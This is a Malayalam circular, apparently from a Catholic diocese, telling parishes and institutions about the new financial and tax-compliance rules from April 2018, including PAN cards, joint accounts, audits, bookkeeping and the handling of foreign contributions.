പ്രിയ ബഹുമാനപ്പെട്ട വൈദികരേ, സമര്‍പ്പിതരേ, കൈക്കാരന്മാരേ, പൊതുയോഗാംഗങ്ങളേ, പ്രതിനിധിയോഗാംഗങ്ങളേ, ഇടവക സെക്രട്ടറിമാരേ, പ്രിയപ്പെട്ട സഹോദരീ സഹോദരന്മാരേ,
പുതിയ സാമ്പത്തികവര്‍ഷം തുടങ്ങുന്ന ഏപ്രില്‍ 1 മുതല്‍ നമ്മുടെ ഇടവകകളുടെയും സ്ഥാപനങ്ങളുടെയും പണസംബന്ധമായ കണക്കുകള്‍ എഴുതുന്നതും രൂപതാ കേന്ദ്രത്തിലേക്ക് മാസാമാസം തിരട്ട് അയക്കുന്നതുമായ കാര്യങ്ങളെ സംബന്ധിച്ച് ഏതാനും കാര്യങ്ങള്‍ നിങ്ങളെ ഇതുവഴി അറിയിക്കട്ടെ. ഭാരതസര്‍ക്കാരിന്‍റെ പുതിയ സാമ്പത്തിക നയങ്ങളുടേയും നിയമങ്ങളുടേയും അടിസ്ഥാനത്തില്‍ നമ്മളും സാമ്പത്തികം കൈകാര്യം ചെയ്യുന്ന രീതികളില്‍ ചില കാര്യങ്ങള്‍ പ്രത്യേകമായി ശ്രദ്ധിക്കുകയും പാലിക്കുകയും ചെയ്യേണ്ടതായിട്ടുണ്ട്. അവയെപ്പറ്റിയാണ് ഇനി പ്രതിപാദിക്കുന്നത്.
സാമ്പത്തിക അച്ചടക്കം പാലിക്കുക എന്നത് വ്യക്തിജീവിതത്തിന്‍റെയും ഏതൊരു സമൂഹ ജീവിതക്രമത്തിന്‍റെയും അവിഭാജ്യഘടകമാണ്. നമ്മുടെ ഇടവകകളേക്കുറിച്ചും മറ്റ് സ്ഥാപനങ്ങളെക്കുറിച്ചും പറയുമ്പോള്‍ ഇതിന് വളരെയേറെ പ്രസക്തിയും പ്രാധാന്യവുമുണ്ട്. നമ്മള്‍ ജീവിക്കുന്ന രാജ്യത്തിന് അതിന്‍റേതായ സാമ്പത്തിക നിയമങ്ങളുണ്ട്. നമ്മള്‍ അതെല്ലാം അനുസരിക്കാന്‍ ബാധ്യസ്ഥരാണ്. അനുസരിക്കാത്തവര്‍ക്ക് തക്കതായ ശിക്ഷയും കിട്ടും എന്ന് നിയമത്തില്‍ വ്യവസ്ഥ ചെയ്തിരിക്കുന്നു. നിയമങ്ങളെപ്പറ്റിയുള്ള നമ്മുടെ അജ്ഞത ഒരിടത്തും, പ്രത്യേകിച്ച് കോടതികളില്‍, നിയമമനുസരിക്കാത്തതിന് നീതീകരണമായി സ്വീകരിക്കുകയില്ല. അതുകൊണ്ട് നിയമങ്ങളെപ്പറ്റി നമ്മള്‍ അറിവും അവബോധവും ഉള്ളവരായിരിക്കണം.
സഭ ലോകത്തില്‍ നിലനില്‍ക്കുന്നത് തന്നെ ഈ ലോകത്തെ സ്വര്‍ഗ്ഗസമാനമാക്കി മാറ്റാനാണ്. ആ പ്രക്രിയയുടെ ഭാഗമാണ് രാജ്യത്തിന്‍റെ നിയമങ്ങള്‍ പാലിച്ചുകൊണ്ട് ജീവിക്കുന്ന ഒരു സമൂഹമായി മറ്റുള്ളവര്‍ക്ക് മാതൃക കൊടുക്കുക എന്നത്. അത് നമ്മുടെ പ്രേഷിതപ്രവര്‍ത്തനത്തിന്‍റെ വളരെ പ്രധാനപ്പെട്ട ഒരു ഘാടകമാണ്. സഭയിലേക്ക് പുതുതായി കടന്നു വരുമ്പോള്‍ ബാഹ്യമായി സഭയുടെ അംഗങ്ങള്‍ ആയതുകൊണ്ട് മാത്രം പ്രേഷിതദൗത്യം തീരുന്നില്ല. അവര്‍ നല്ല പൗരന്മാരായി ജീവിക്കുന്നു എന്നുകൂടി ഉറപ്പ് വരുത്തണം. ഈശോ തന്‍റെ ശിഷ്യരെ ഭരമേല്‍പ്പിച്ചിട്ട് പോയ ദൗത്യം സുവിശേഷത്തില്‍ നാം വായിക്കുന്നത് ഇപ്രകാരമാണ്: ഞാന്‍ നിങ്ങളോട് കല്പിച്ചവയെല്ലാം അനുസരിക്കാന്‍ അവരെ പഠിപ്പിക്കുവിന്‍ (മത്താ. 28:20). സീസറിന് നികുതി കൊടുക്കാന്‍ പറയുന്നതിലൂടെ ഇക്കൂട്ടത്തില്‍ സാമ്പത്തികകാര്യങ്ങളും ഉള്‍പ്പെടുന്നുണ്ടെന്ന് നമുക്കറിയാം. നമ്മള്‍ ധാരാളം ജീവകാരുണ്യപ്രവര്‍ത്തികള്‍ ചെയ്യുന്നുണ്ടാകാം. എന്നാല്‍ അവ ദൈവത്തിന്‍റേയും സഭയുടേയും രാജ്യത്തിന്‍റേയും നിയമങ്ങള്‍ക്ക് അനുസൃതമാണ് എന്ന് ഉറപ്പുവരുത്തേണ്ടതാണ്. ലക്ഷ്യത്തേപ്പോലെ തന്നെ മാര്‍ഗ്ഗവും ക്രൈസ്തവമായിരിക്കണം എന്നതാണ് സഭയുടെ നിലപാട്.
ഒരു രാജ്യം മുന്നോട്ട് പോകണമെങ്കില്‍ പണം ആവശ്യമാണ്. ആ പണം സംഭരിക്കുന്നത് പൗരന്മാര്‍ പല സ്രോതസ്സുകളില്‍ നിന്നായി കൊടുക്കുന്ന നികുതികള്‍ വഴിയായിട്ടാണ്. കൃത്യമായി നികുതി കൊടുക്കുക എന്നത് ഓരോ പൗരന്‍റേയും കടമയാണ്. ഒരുപാട് പേര്‍ നികുതി കൊടുക്കാതിരിക്കുന്നുണ്ട് എന്നത് വസ്തുതയാണ്; എന്നാല്‍ അതുകൊണ്ട് ഞാനും നികുതി കൊടുക്കുന്നില്ല എന്നത് ശരിയായ ന്യായീകരണമല്ല. നമ്മള്‍ നികുതി കൊടുത്ത് മാതൃക കാണിക്കുകയാണ് ചെയ്യേണ്ടത്. സീസറിന് നികുതി കൊടുക്കുന്നത് നിയമാനുസൃതമാണോ എന്ന ചോദ്യത്തിന് ഈശോ കൊടുക്കുന്ന ഉത്തരം ശ്രദ്ധേയമാണ്. മക്കള്‍ നികുതി കൊടുക്കേണ്ട കാര്യമില്ല; എങ്കിലും നമ്മള്‍ നികുതി കൊടുക്കണം. സീസറിനുള്ളത് സീസറിനും ദൈവത്തിനുള്ളത് ദൈവത്തിനും കൊടുക്കുക (മര്‍ക്കോസ് 12:17) യഹൂദനിയമമനുസരിച്ച് പുറജാതിക്കാര്‍ക്ക് നികുതി കൊടുക്കുന്നത് നിയമാനുസൃതമായിരുന്നില്ല. എന്നിട്ടും നികുതി കൊടുക്കാനാണ് ഈശോ ശിഷ്യന്മാരോട് പറഞ്ഞത്. കാരണം നികുതിപ്പണംകൊണ്ടാണ് ഉദ്യോഗസ്ഥര്‍ക്ക് ശമ്പളം കൊടുക്കുന്നതും വികസനപ്രവര്‍ത്തനങ്ങള്‍ക്ക് പണം കണ്ടെത്തുന്നതും എല്ലാം. അതല്ലെങ്കില്‍ സര്‍ക്കാര്‍ എവിടെ നിന്നെങ്കിലും പണം കടമെടുക്കേണ്ടി വരും. അതിന്‍റെ ഭാരം പാവപ്പെട്ട ദരിദ്രരുടെ ചുമലില്‍ തന്നെ വരുകയും ചെയ്യും. കണക്കില്‍പ്പെടാത്ത പണം വാങ്ങുന്നതും കൊടുക്കുന്നതും ഇതുപോലെ തന്നെയുള്ള തെറ്റും തിന്മയുമാണ്. കള്ളപ്പണമാണ് വിലക്കയറ്റത്തിന്‍റെ പ്രധാന കാരണം. അതിലൂടെ നിര്‍ധനരുടെ ജീവിതം ദുര്‍വ്വഹമാകുന്നു.
നമ്മുടെ രൂപതയിലെ ഇടവകകളുടേയും സ്ഥാപനങ്ങളുടെയും കണക്കുകള്‍ കൃത്യമായി എഴുതുകയും സര്‍ക്കാരിലേയ്ക്ക് റിട്ടേണ്‍ ഫയല്‍ ചെയ്യുകയും പൂര്‍ണ്ണമായും സുതാര്യമായി സൂക്ഷിക്കുകയും ചെയ്യണം എന്നത് സര്‍ക്കാര്‍ നിയമമാണ്. അങ്ങനെ ചെയ്തില്ലെങ്കില്‍ നമ്മള്‍ കനത്ത വില കൊടുക്കേണ്ടിവരും.
2018 ഏപ്രില്‍ 1 മുതല്‍ പുതിയ സാമ്പത്തിക നിയമങ്ങള്‍ കര്‍ക്കശമായി തന്നെ സര്‍ക്കാര്‍ നടപ്പാക്കുകയാണ്. മിക്കവാറും എല്ലാ കാര്യങ്ങളും ഓണ്‍ലൈന്‍ അഥവാ ഇന്‍റര്‍നെറ്റ് വഴിയാണെന്ന് നമ്മള്‍ മനസ്സിലാക്കേണ്ടതുണ്ട്. നമ്മള്‍ക്ക് കമ്പ്യൂട്ടര്‍, ഇന്‍റര്‍നെറ്റ്, കമ്പ്യൂട്ടര്‍ ഉപയോഗിക്കാന്‍ അറിയുന്ന കണക്കന്‍ അഥവാ സെക്രട്ടറി തുടങ്ങിയ സൗകര്യങ്ങള്‍ ഇല്ല എന്നത് ന്യായീകരണമായി സര്‍ക്കാര്‍ സ്വീകരിക്കുകയില്ല എന്നും ഓര്‍ക്കുക.
സാമ്പത്തിക അച്ചടക്കം പാലിക്കുന്നതിലും കണക്കുകള്‍ സുതാര്യമായി സൂക്ഷിക്കുന്നതിലും സമയാസമയങ്ങളില്‍ അവതരിപ്പിക്കേണ്ട സമിതികളില്‍ അവതരിപ്പിച്ച് പാസാക്കി രൂപതാകേന്ദ്രത്തിലേക്ക് അയയ്ക്കുന്നതിലും ഒട്ടുമിക്ക ഇടവകകളും സ്ഥാപനങ്ങളും ശ്രദ്ധ ചെലുത്തുന്നുണ്ട് എന്നത് എടുത്തുപറയേണ്ട കാര്യമാണ്. എന്നാല്‍ അപ്രകാരം ചെയ്യാത്ത ഇടവകകളും സ്ഥാപനങ്ങളും ഉണ്ട് എന്നതും വസ്തുതയാണ്. അപ്രകാരം ഇനിയും സംഭവിക്കാന്‍ ബന്ധപ്പെട്ടവര്‍ അനുവദിക്കരുത് എന്നത് പ്രത്യേകം അഭ്യര്‍ത്ഥിക്കുന്നു.
മേല്‍പ്പറഞ്ഞ കാര്യങ്ങള്‍ എളുപ്പമാക്കുന്നതിന് വേണ്ടി 2018 ഏപ്രില്‍ 1 മുതല്‍ ചില നിശ്ചിത സ്ഥാപനങ്ങള്‍ ഒഴികെ ബാക്കി ഇടവകകളും സ്ഥാപനങ്ങളും കണക്കുകള്‍ എഴുതേണ്ടതും രൂപതാകേന്ദ്രത്തിലേയ്ക്ക് അയക്കേണ്ടതും ഓണ്‍ലൈന്‍ ആയിട്ടാണ് എന്ന് ഇതിനകം എല്ലാ ബഹുമാനപ്പെട്ട വൈദികരേയും മറ്റ് ബന്ധപ്പെട്ടവരേയും അറിയിച്ചിട്ടുണ്ട്. അതിനുള്ള സോഫ്റ്റ് വെയര്‍ ഇതിനകം തന്നെ അവരെല്ലാവരും പരിചയപ്പെടുകയും ചെയ്തിട്ടുണ്ട്. ഇക്കാര്യത്തില്‍ ബഹുമാനപ്പെട്ട വൈദികരെല്ലാവരും തന്നെ പൂര്‍ണ്ണമായി സഹകരിക്കുകയും താത്പര്യം കാണിക്കുകയും ചെയ്യുന്നുണ്ട് എന്നത് നന്ദിയോടും സന്തോഷത്തോടും കൂടി ഇവിടെ അനുസ്മരിക്കട്ടെ. ഇക്കാര്യങ്ങള്‍ ഏകോപിപ്പിക്കുന്നത് നമ്മുടെ രൂപതയുടെ പ്രൊക്യുറേറ്റര്‍ ബഹുമാനപ്പെട്ട ജില്‍സണ്‍ കോക്കണ്ടത്തില്‍ അച്ചനാണ്. അച്ചനേയും നന്ദിപൂര്‍വ്വം അനുസ്മരിക്കുന്നു. എന്തെങ്കിലും സംശയങ്ങള്‍ ഉണ്ടാകുന്ന പക്ഷം അദ്ദേഹത്തെ സമീപിച്ചാല്‍ സംശയനിവാരണം വരുത്താവുന്നതാണ്.
കണക്കെഴുതുന്നതുമായി ബന്ധപ്പെട്ട ചില പ്രധാനപ്പെട്ട കാര്യങ്ങള്‍ ചുവടെ ചേര്‍ക്കുന്നു. പ്രത്യേകമായി അവ നിങ്ങള്‍ ശ്രദ്ധിക്കണം എന്നഭ്യര്‍ത്ഥിക്കുന്നു.
ഭൗതിക വസ്തുക്കളുടെ ഭരണത്തിനുള്ള നിയമങ്ങള്‍
1. മാനന്തവാടി രൂപതയിലെ ഇടവകകളുടെയും സ്ഥാപനങ്ങളുടെയും സാമ്പത്തിക ഇടപാടുകള്‍ നിയന്ത്രിക്കപ്പെടുന്നത് രൂപതാ നിയമാവലിയുടെ 604 മുതല്‍ 656 വരെയുള്ള വകുപ്പുകളും കാലാകാലങ്ങളില്‍ പ്രാബല്യത്തില്‍ വരുന്ന സഭാനിയമങ്ങള്‍ക്കും സീറോമലബാര്‍ പ്രത്യേക നിയമങ്ങള്‍ക്കും രൂപതാ കേന്ദ്രത്തില്‍ നിന്ന് പുറപ്പെടുവിക്കുന്ന നിര്‍ദ്ദേശങ്ങള്‍ക്കും വിധേയമായിട്ടാണ്. ബന്ധപ്പെട്ടവര്‍ എല്ലാവരും ഈ നിയമങ്ങള്‍ നന്നായി വായിച്ച് മനസ്സിലാക്കേണ്ടതും അതനുസരിച്ച് പ്രവര്‍ത്തിക്കേണ്ടതുമാണ്.
ബാങ്ക് അക്കൗണ്ട്, പാന്‍ കാര്‍ഡ്
2. എല്ലാ ഇടവകകള്‍ക്കും സ്ഥാപനങ്ങള്‍ക്കും വൈദികര്‍ക്കും പാന്‍ കാര്‍ഡ് നിര്‍ബന്ധമാണ്. ഇടവകവികാരിമാരായി ശുശ്രൂഷ ചെയ്യുന്ന സമര്‍പ്പിതസമൂഹങ്ങളിലെ ബഹുമാനപ്പെട്ട വൈദികര്‍ക്കും പാന്‍ കാര്‍ഡ് ഉണ്ടായിരിക്കണം. കാരണം ഇടവകയുടെ റിട്ടേണ്‍ സമര്‍പ്പിക്കുമ്പോള്‍ ഇടവകയുടേയും വികാരിയുടേയും പാന്‍ കാര്‍ഡ് നമ്പറുകള്‍ ചേര്‍ക്കേണ്ടതുണ്ട്.
3. ഇടവകയുടെ എല്ലാ ബാങ്ക് അക്കൗണ്ടുകളും ഇടവകയുടെ പാന്‍ കാര്‍ഡും വികാരിയുടെ മൊബൈല്‍ നമ്പറുമായി ബന്ധിപ്പിച്ചിരിക്കണം. വികാരി മാറുമ്പോള്‍ അല്ലെങ്കില്‍ മൊബൈല്‍ നമ്പര്‍ മാറുമ്പോള്‍ അക്കാര്യം ഉടന്‍ തന്നെ ബന്ധപ്പെട്ട ബാങ്കുകളുടെ ശ്രദ്ധയില്‍ പെടുത്തി അപ്രകാരം ചെയ്യേണ്ടതാണ്.
4. പാന്‍ കാര്‍ഡ് ഇല്ലാത്ത സംഘടനകള്‍ക്കും മറ്റും ബാങ്ക് അക്കൗണ്ട് ഉണ്ടായിരിക്കാന്‍ സാധിക്കുകയില്ല. മിഷന്‍ലീഗ്, കെ.സി.വൈ.എം., മാതൃവേദി തുടങ്ങിയ സംഘടനകളുടെ കണക്കുകള്‍ ബന്ധപ്പെട്ടവര്‍ പ്രത്യേകം എഴുതുകയും മാസാമാസം ഇടവകയുടെ കണക്കില്‍ ചേര്‍ക്കുകയും ചെയ്യേണ്ടതാണ്. അവര്‍ക്കായി പ്രത്യേക ലെഡ്ജര്‍ ഹെഡ്ഡുകള്‍ ഇടവകയുടെ പൊതുകണക്കില്‍ ഉണ്ടാകാം.
5. പാന്‍ കാര്‍ഡും മൊബൈല്‍ നമ്പറുമായി ബന്ധപ്പെടുത്താത്ത ബാങ്ക് അക്കൗണ്ടുകള്‍ സൂക്ഷിക്കുന്നതും പണം കൈമാറ്റം ചെയ്യുന്നതും നിയമവിരുദ്ധമാണ്. അതുപോലെ തന്നെ ഒരിടവകയ്ക്ക് അല്ലെങ്കില്‍ സ്ഥാപനത്തിന് രണ്ട് പാന്‍ കാര്‍ഡുകള്‍ ഉണ്ടാകുന്നതും നിയമവിരുദ്ധമാണ്. അങ്ങനെ ഉണ്ടെങ്കില്‍ അത് ഏത് സ്ഥാപനത്തിന്‍റേതാണോ അതിന്‍റെ കണക്കുകളുടെ റിട്ടേണ്‍ വേറെ എഴുതുകയും പ്രത്യേകം റിട്ടേണ്‍ സമര്‍പ്പിക്കുകയും ചെയ്യേണ്ടതാണ്.
6. ഇടവകയുടെ ഉടമസ്ഥതയില്‍ പ്രവര്‍ത്തിക്കുന്ന സ്വതന്ത്ര സ്ഥാപനങ്ങള്‍ക്ക്, ഉദാ: സ്കൂള്‍, നിര്‍ബന്ധമായും പാന്‍ കാര്‍ഡും സ്വന്തമായ ബാങ്ക് അക്കൗണ്ടും ഉണ്ടായിരിക്കണം. അവയുടെ വാര്‍ഷിക റിട്ടേണും സര്‍ക്കാരിലേക്ക് യഥാസമയം സമര്‍പ്പിക്കേണ്ടതാണ്.
7. സ്വതന്ത്ര കുരിശുപള്ളികള്‍ എന്ന നിലയില്‍ രൂപതാകേന്ദ്രത്തില്‍ നിന്ന് അംഗീകാരം നേടി സ്വതന്ത്ര ചുമതലയുള്ള വൈദികനും കൈക്കാരന്മാരും ഭരണസമിതികളും ഇല്ലാത്ത എല്ലാ കുരിശുപള്ളികളുടേയും കണക്കുകള്‍ മാതൃഇടവകയുടെ കണക്കിലാണ് ഉള്‍പ്പെടുത്തേണ്ടത്. അതാത് കുരിശുപള്ളികള്‍ കൃത്യമായ കണക്കുകള്‍ സൂക്ഷിക്കുകയും മാസംതോറും അവ മാതൃഇടവകയുടെ കണക്കില്‍ ചേര്‍ത്ത് ഭരണസമിതിയില്‍ അവതരിപ്പിച്ച് പാസാക്കുകയും വേണം. സ്വതന്ത്രമല്ലാത്ത കുരിശുപള്ളികള്‍ക്ക് പാന്‍ കാര്‍ഡ് ഇല്ലാത്തതിനാല്‍ അവരുടെ കണക്കുകള്‍ ഒരു പ്രത്യേക ഹെഡ്ഡില്‍ മാതൃഇടവകയുടെ കണക്കില്‍ ചേര്‍ക്കേണ്ടതാണ്.
8. ഇടവകകളുടെ ബാങ്ക് അക്കൗണ്ടുകള്‍ ബഹുമാനപ്പെട്ട വികാരിയുടേയും ഒരു കൈക്കാരന്‍റേയും പേരിലുള്ള ജോയിന്‍റ് അക്കൗണ്ടായിരിക്കണം. ബാങ്കില്‍ നിക്ഷേപിക്കുമ്പോഴും ബാങ്കില്‍ നിന്ന് പണം പിന്‍വലിക്കുമ്പോഴും രണ്ട് പേരും അറിഞ്ഞിരിക്കണം.
ആദായനികുതി റിട്ടേണ്‍
9. ഓരോ വര്‍ഷവും സെപ്റ്റംബര്‍ 30-നകം തലേ സാമ്പത്തിക വര്‍ഷത്തെ ആദായനികുതി റിട്ടേണ്‍ സമര്‍പ്പിക്കേണ്ടതാണ്. ഫൈനോടുകൂടി നടപ്പ് വര്‍ഷം മാര്‍ച്ച് 31 വരെ സമര്‍പ്പിക്കാവുന്നതാണ്. ആ സമയത്തിനുള്ളിലും സമര്‍പ്പിച്ചില്ലെങ്കില്‍ ശിക്ഷാനടപടികള്‍ക്ക് വിധേയമാക്കാന്‍ സാദ്ധ്യതയുണ്ട്.
10. അതിനാല്‍ ഇടവകയുടേയും സ്ഥാപനങ്ങളുടേയും കണക്കുകള്‍ രൂപതാകേന്ദ്രത്തില്‍ നിന്ന് അറിയിക്കുന്ന ക്രമത്തില്‍ തന്നെ അറിയിക്കുന്ന സ്ഥലത്ത് കൊണ്ടുവന്ന് ഓഡിറ്റ് ചെയ്യിക്കേണ്ടതാണ്.
11. ഓഡിറ്റിന് വരുമ്പോള്‍ നാള്‍വഴി, തെരട്ട്ബുക്ക്, പെറ്റി ക്യാഷ്ബുക്ക്, ചെക്ക് രജിസ്റ്റര്‍, ഫിക്സഡ് ഡിപ്പോസിറ്റ് രജിസ്റ്റര്‍, ബാങ്ക് പാസ്സ്ബുക്കുകള്‍, ചെക്ക് ബുക്കുകള്‍ എന്നിവ കരുതേണ്ടതാണ്.
പ്രത്യേക ബുക്കുകള്‍
12. വരവും ചെലവും രേഖപ്പെടുത്താന്‍ ഒരു പെറ്റി ക്യാഷ്ബുക്ക് നിര്‍ബന്ധമായും ഉണ്ടായിരിക്കണം കാരണം എല്ലാ ദിവസവും അന്നന്നത്തെ കണക്കുകള്‍ എഴുതാന്‍ പറ്റിയെന്ന് വരില്ല. പിന്നീട് എഴുതുമ്പോള്‍ പലതും വിട്ടു പോയെന്ന് വരാം.
13. ചെക്കുകള്‍ കൊടുക്കുമ്പോള്‍ അത് രേഖപ്പെടുത്താനായി ഒരു ബുക്ക് ഉണ്ടായിരിക്കണം. ചെക്കുകള്‍ കൊടുക്കുമ്പോഴും ഓണ്‍ലൈന്‍ ആയി പണം നല്‍കുമ്പോഴും ഈ ബുക്കില്‍ രേഖപ്പെടുത്തേണ്ടതാണ്.
14. ഫിക്സഡ് ഡിപ്പോസിറ്റ് രജിസ്റ്റര്‍, ഈ രജിസ്റ്ററില്‍ ഫിക്സഡ് ഡിപ്പോസിറ്റ് നടത്തുമ്പോഴും പിന്‍വലിക്കുമ്പോഴും രേഖപ്പെടുത്തിയിരിക്കണം.
15. മസ്റ്റര്‍ റോള്‍: ഇടവകയോ സ്ഥാപനമോ സ്വന്തമായി പണിക്കാരെ വിളിച്ച് കൂലിപ്പണിയെടുപ്പിച്ചാല്‍ അവര്‍ക്കായി ഒരു മസ്റ്റര്‍ റോള്‍ സൂക്ഷിക്കണം. ഓരോ ദിവസവും എത്രപേര്‍ എന്തുജോലി എത്ര രൂപയ്ക്ക് എന്ന് അതില്‍ രേഖപ്പെടുത്തണം. പണിക്കൂലി കൊടുത്തശേഷം അവരില്‍ നിന്ന് വൗച്ചര്‍ എഴുതി ഒപ്പിട്ട് വാങ്ങുകയും വേണം.
അനുബന്ധരേഖകള്‍
16. ക്യാഷ്ബില്‍, ക്രഡിറ്റ് ബില്‍, വൗച്ചര്‍, രസീത്, ഇന്‍വോയിസ്, ഈ വേ ബില്‍, എസ്റ്റിമേറ്റ് നോട്ട്, പ്രോമിസ്സറി നോട്ട്, കരാര്‍ രേഖകള്‍ തുടങ്ങിയവയാണ് അനുബന്ധരേഖകള്‍ എന്ന് അറിയപ്പെടുന്നത്.
17. കൈയ്യില്‍ നിന്നും മറ്റും സാധനങ്ങള്‍ കടമായി വാങ്ങുമ്പോള്‍ ക്രഡിറ്റ് ബില്‍ വാങ്ങിയിരിക്കണം. പണം കൊടുക്കുമ്പോള്‍ കിട്ടുന്ന ക്യാഷ് ബില്ലും രസീതും അതിനോടൊപ്പം ചേര്‍ത്ത് സൂക്ഷിക്കുകയും പണം കൊടുത്ത തീയതി വച്ച് ചെലവ് കണക്കില്‍ ചേര്‍ക്കുകയും ചെയ്യണം.
18. എത്ര ചെറിയ തുകയായാലും വരവിനും ചെലവിനും രേഖകള്‍ ഉണ്ടായിരിക്കണം. ചെലവഴിക്കുന്ന തുക വലുതാണെങ്കില്‍, അതിനനുസരിച്ചുള്ള രേഖകള്‍ തന്നെ വേണം. അതായത് വൗച്ചറില്‍ റവന്യൂ സ്റ്റാമ്പ് ഒട്ടിച്ച് അതിന്‍റെ മുകളില്‍ വേണം ഒപ്പിടുവിക്കാന്‍. സാധനങ്ങള്‍ വാങ്ങുമ്പോള്‍ കിട്ടുന്ന ബില്‍, കോണ്ട്രാക്ട് പണി ഏറ്റെടുക്കുമ്പോള്‍ കോണ്ട്രാക്ടര്‍മാര്‍ നല്‍കുന്ന ബില്‍, ദിവസക്കൂലിയും മറ്റും നോട്ടായി കൊടുക്കുമ്പോള്‍ പണം വാങ്ങുന്നയാള്‍ എഴുതിത്തരുന്ന വൗച്ചര്‍, വലിയ തുകകള്‍ കൊടുക്കുമ്പോള്‍ കടയില്‍ നിന്നും മറ്റും കിട്ടുന്ന രസീത് തുടങ്ങിയവയെല്ലാം ഉണ്ടായിരിക്കണം.
വിദേശസഹായം കിട്ടുന്നവര്‍ ശ്രദ്ധിക്കാന്‍
19. വിദേശസംഭാവനകളെ നിയന്ത്രിക്കുന്ന നിയമനുസരിച്ച് രജിസ്റ്റര്‍ ചെയ്യാത്ത ഇടവകകളും സ്ഥാപനങ്ങളും അവര്‍ക്ക് കിട്ടുന്ന എല്ലാ വിദേശസംഭാവനകളും രൂപതയുടെ പൊതു അക്കൗണ്ടിലൂടെ മാത്രമേ സ്വീകരിക്കാന്‍ പാടുള്ളു.
20. രൂപതയുടെ പൊതു അക്കൗണ്ടിലൂടെ വരുന്ന തുകകളുടെ വിശദവിവരങ്ങള്‍ ഓരോ മാസവും ഇന്‍റലിജെന്‍സ് ഓഫീസര്‍മാര്‍ക്ക് കൊടുക്കുകയും സര്‍ക്കാരിന്‍റെ വെബ് സെറ്റില്‍ പ്രസിദ്ധീകരിക്കുകയും ചെയ്യുന്നുണ്ട്. അതില്‍ പറഞ്ഞിരിക്കുന്ന ഉദ്ദേശ്യങ്ങള്‍ക്കല്ലാതെ ആ പണം ചെലവഴിക്കാന്‍ പാടുള്ളതല്ല.
21. വിദേശസംഭാവനയായി കിട്ടുന്ന തുകകള്‍ മറ്റാര്‍ക്കെങ്കിലും കൊടുക്കാനോ കടം കൊടുക്കാനോ നിയമം അനുവദിക്കുന്നില്ല. വക മാറ്റി ചെലവഴിച്ചാല്‍ വലിയ ശിക്ഷകള്‍ കിട്ടാനും രജിസ്ട്രേഷന്‍ റദ്ദാക്കാനും സാധ്യതയുണ്ട്.
22. വ്യക്തികള്‍ക്ക് കിട്ടുന്ന സംഭാവനകള്‍ അവരുടെ അക്കൗണ്ടില്‍ രൂപയാക്കി മാറ്റിയശേഷം ഇടവകയ്ക്കോ സ്ഥാപനത്തിനോ കൊടുക്കുന്നതില്‍ തടസ്സമില്ല. സംഭാവന സ്വീകരിക്കുന്നവര്‍ ദാതാവിന്‍റെ പാന്‍ നമ്പര്‍ അടക്കമുള്ള വിവരങ്ങള്‍ ചേര്‍ത്ത് കണക്കെഴുതുകയും ചെയ്യണം. പക്ഷേ അപ്പോള്‍ വ്യക്തികള്‍ തുകയുടെ വലിപ്പമനുസരിച്ച് സര്‍ക്കാരിലേക്ക് കണക്ക് കൊടുക്കേണ്ടി വരും.
23. രൂപതയുടെ പൊതു അക്കൗണ്ട് വഴി കിട്ടുന്ന തുക ഇടവകകളും സ്ഥാപനങ്ങളും അവരുടെ അക്കൗണ്ടില്‍ ഒരു വര്‍ഷത്തിലധികം സൂക്ഷിക്കാന്‍ പാടില്ല. ആ തുക ഉപയോഗിച്ചുള്ള ഫിക്സഡ് ഡിപ്പോസിറ്റിനും ഇത് ബാധകമാണ്. ഒരു വര്‍ഷത്തിനുള്ളില്‍ സ്വീകര്‍ത്താക്കള്‍ക്ക് ചെലവഴിക്കാന്‍ പറ്റാതെ വന്നാല്‍ രൂപതാ കേന്ദ്രത്തില്‍ നിന്നുള്ള ഉപദേശം തേടുകയും ലഭിക്കുന്ന നിര്‍ദ്ദേശങ്ങള്‍ക്ക് വിധേയമായി ചെയ്യുകയും വേണം.
24. വലിയ തുകകള്‍ വിദേശസംഭാവന കിട്ടുന്നവര്‍ എന്തു പണിക്കാണോ ആ പണം ഉപയോഗിക്കുന്നത് അതിനെ ഒരു പ്രത്യേക പദ്ധതിയായി കണക്കാക്കി പ്ലാന്‍, എസ്റ്റിമേറ്റ്, ചെലവിന്‍റെ വിശദവിവരങ്ങള്‍ എന്നിവ അനുബന്ധരേഖകളോടൊപ്പം പ്രത്യേകം കണക്കാക്കി സൂക്ഷിച്ചിരിക്കണം. പൊതുകണക്കില്‍ കയറ്റി എല്ലാ മാസവും ബന്ധപ്പെട്ട സമിതികളില്‍ അവതരിപ്പിച്ച് പാസാക്കുകയും വേണം. തെരട്ടില്‍ ഈ വിവരങ്ങളും ഉണ്ടായിരിക്കണം.
25. വിദേശസംഭാവനയുടെ കണക്കുകള്‍ പ്രത്യേകമാണ് ഓഡിറ്റ് ചെയ്യുന്നത്. അതുകൊണ്ട് അതിനായി നിശ്ചയിച്ചിട്ടുള്ള സമയത്ത് തന്നെ ബിഷപ്പ്സ് ഹൗസില്‍ കൊണ്ടുവന്ന് ഓഡിറ്റ് ചെയ്യിക്കേണ്ടതാണ്.
പൊതുപ്പിരിവുകള്‍
26. രൂപതാ കേന്ദ്രത്തിലേക്ക് അടയ്ക്കേണ്ടതായ വിവിധ പിരിവുകള്‍ അവ പിരിച്ചെടുത്താല്‍ തുടര്‍ന്നുള്ള ആഴ്ചയില്‍ തന്നെ രൂപതാ കേന്ദ്രത്തില്‍ അടയ്ക്കാനായി പരിശ്രമിക്കുക. കാരണം പലതും അതേ മാസത്തില്‍ തന്നെ അതിനുള്ള സ്ഥലങ്ങളിലേക്ക് അയച്ചുകൊടുക്കേണ്ടതായിട്ടുണ്ട്. എല്ലാം കിട്ടാന്‍ കാത്തു നില്‍ക്കാതെ കിട്ടുന്ന ക്രമത്തില്‍ അടക്കാവുന്നതാണ്. ദുരിതാശ്വാസ സംഭാവനകള്‍ പോലെയുള്ളവ പെട്ടെന്ന് കിട്ടിയില്ലെങ്കില്‍ അവകൊണ്ട് ഉദ്ദേശിച്ച ഫലം ചെയ്യുകയില്ല. മാത്രമല്ല പിന്നീട് സര്‍ക്കാരില്‍ നിന്ന് അന്വേഷണവും ഉണ്ടാകാം.
